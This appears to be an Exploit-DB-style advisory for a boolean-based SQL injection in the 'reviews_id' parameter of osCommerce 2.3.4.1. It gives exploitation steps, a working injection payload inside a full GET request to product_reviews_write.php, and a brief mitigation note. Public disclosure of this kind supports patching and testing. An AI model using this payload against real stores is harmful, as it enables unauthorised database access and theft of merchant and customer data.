osCommerce 2.3.4.1 - 'reviews_id' SQL Vulnerabilities

vendor:

osCommerce Online Merchant

by:

Mehmet EMIROGLU

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: osCommerce Online Merchant

Affected Version From: 2.3.4.1

Affected Version To: 2.3.4.1

Patch Exists: NO

Related CWE:

CPE: a:oscommerce:oscommerce:2.3.4.1

Metasploit:

Other Scripts:

Platforms Tested: Windows (Wampp)

2019

osCommerce 2.3.4.1 – ‘reviews_id’ SQL Vulnerabilities

This exploit allows an attacker to manipulate the 'reviews_id' parameter in the osCommerce 2.3.4.1 web application, leading to SQL injection vulnerabilities. By replacing the ID value in the URL with a high number value and adding a payload, an attacker can execute arbitrary SQL queries.

Mitigation:

Apply proper input validation and parameterized queries to prevent SQL injection attacks. Upgrade to a newer version of osCommerce if available.

Source

Exploit-DB raw data:

####################################################################

# Exploit Title: osCommerce 2.3.4.1 - 'reviews_id' SQL Vulnerabilities
# Dork: N/A
# Date: 05-02-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: https://www.oscommerce.com
# Software Link: https://www.oscommerce.com/Products
# Version: 2.3.4.1
# Category: Webapps
# Tested on: Wampp @Win
# CVE: N/A
# Software Description: osCommerce Online Merchant is a complete online
store solution
  that contains both a shop frontend and an administration backend
  which can be easily configured and customized with over 8,855 free
add-ons.

####################################################################

# Vulnerabilities / Impact
# This web application called as osCommerce 2.3.4.1 version.
# Switch to the product reviews tab. Replace the ID value in the url, with
a high number value.
  for example reviews_id=2 change to 9999999
  then add the payload at Attack_pattern to the end of the url.

####################################################################

# POC - SQL (Boolean Based)
# Parameters : reviews_id
# Attack Pattern : /**/oR/**/7096077=7096077/**/aNd/**/7193=7193
# GET Request :
http://localhost/oscommerce/catalog/product_reviews_write.php?products_id=19&reviews_id=99999999/**/oR/**/7096077=7096077/**/aNd/**/7193=7193

####################################################################